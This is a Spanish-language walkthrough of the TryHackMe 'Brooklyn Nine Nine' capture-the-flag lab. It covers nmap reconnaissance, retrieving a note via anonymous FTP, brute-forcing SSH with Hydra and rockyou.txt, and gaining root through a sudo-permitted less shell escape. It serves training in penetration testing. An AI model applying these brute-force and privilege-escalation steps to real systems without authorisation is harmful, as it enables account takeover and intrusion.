Brooklyn Nine Nine
December 17, 20224 minutes
https://tryhackme.com/room/brooklynninenine
IP Atacante = 10.10.10.10
IP víctima = 10.10.243.15
Reconocimiento
Para empezar lo primero es comprobar si la máquina está activa y que OS tiene
❯ ping -c 1 10.10.243.15
PING 10.10.243.15 (10.10.243.15) 56(84) bytes of data.
64 bytes from 10.10.243.15: icmp_seq=1 ttl=63 time=96.3 ms
--- 10.10.243.15 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 96.338/96.338/96.338/0.000 ms
En este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux por aproximación
Escaneo de puertos (nmap)
Ahora empezamos con un escaneo de puertos
❯ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.243.15 -oG allPort
Parámetro | Función |
---|---|
-p- | Para que el escaneo sea a todos los puertos (65536) |
–open | Para que solo reporte los puertos abiertos |
–min-rate 5000 | Definir el tiempo del escaneo |
-n | Omitir resolución DNS |
-vvv | Para que vaya reportando lo que encuentre por consola |
-Pn | Skip host discovery |
-oG allPorts | Para que guarde el escaneo en format grepeable en un archivo llamado allPort |
Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual
Función extractPorts de @s4vitar
❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.100.94
5 │ [*] Open ports: 21,22,80
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴─────────────────────────────────────────────────────────────────────────────────────────
Ahora con nmap vamos a intentar buscar las versiones de los servicios de los puertos y ejecutar scripts básicos de reconocimientos
❯ nmap -p21,22,80 -sC -sV 10.10.243.15 -oN target
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.10.10
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 119 May 17 2020 note_to_jake.txt
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 167fa2ffe0fba98777d6d3eb62572c6a3 (RSA)
| 256 2e3b61594bc429ba5e858396f6fe99bee (ECDSA)
|_ 256 ab162e79203c9b0a019c8c4426015a804 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.29 (Ubuntu)
Parámetro | Función |
---|---|
-p | Especificamos los puertos abiertos que hemos encontrado con el escaneo anterior |
-sC | Para que realice scripts básicos de reconocimiento |
-sV | Proporciona la versión e información de los servicios que corren por los puertos |
Puerto 21
El nmap reporto que nos podemos conectar al puerto 21 como anonymous (ftp-anon: Anonymous FTP login allowed
)
Dentro hay un archivo llamado note_to_jake.txt
que nos lo podemos pasar a nuestra máquina con get note_to_jake.txt
Contenido note_to_jake.txt
Dentro del archivo note_to_jake.txt
hay el siguiente mensaje
From Amy,
Jake please change your password. It is too weak and holt will be mad if someone hacks into the nine nine
De Amy,
Jake por favor cambia tu contraseña. Es demasiado débil y Holt se enojará si alguien piratea el nueve nueve.
Viendo este mensaje vemos que hay tres usuarios:
- Amy
- Holt
- Jake
Infiltración
Amy dice que la contraseña de Jake es demasiado débil, sabiendo esto podemos intentar con hyra hacer fuerza bruta al ssh como jake.
Hydra se considera el software para ciberseguridad estándar para ejecutar ataques de fuerza bruta en cuentas de servicios.
❯ hydra -l jake -P /usr/share/wordlists/rockyou.txt 10.10.92.221 ssh -t 40
[22][ssh] host: 10.10.84.47 login: jake password: ---------
Ahora ya nos podemos conectar por ssh como jake
ssh jake@10.10.84.47
Tratamiento de tty
Antes para trabajar mejor vamos a hacer un tratamiento de la terminal con los siguientes comandos:
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset
xterm
export SHELL=bash
export TERM=xterm
user.txt
En el directorio /home/jake
y /home/amy
no hay nada, pero en el /home/holt
está el user.txt
Escalada de privilegios
❯ sudo -l
User jake may run the following commands on brookly_nine_nine:
(ALL) NOPASSWD: /usr/bin/less
¿Qué es less?
Less es un programa similar a more, pero que permite retroceder movimiento en el archivo, asi como el movimiento hacia adelante. además, menos no tiene que leer todo el archivo de entrada antes de comenzar, por lo que con archivos de entrada grandes, se inicia más rápido que los editores de texto como vi
¿Como escalar con less?
Si el binario puede ejecutarse como superusuario sudo
, no pierde los privilegios elevados y puede usarse para acceder al sistema de archivos, escalar o mantener el acceso privilegiado.
Lo primero es ejecutar less con sudo y especificarle un archivo que queremos leer, por ejemplo user.txt
sudo less user.txt
Después si escribimos !/bin/bash y le damos a enter, ya somos root
root@brookly_nine_nine:/home/holt# whoami
root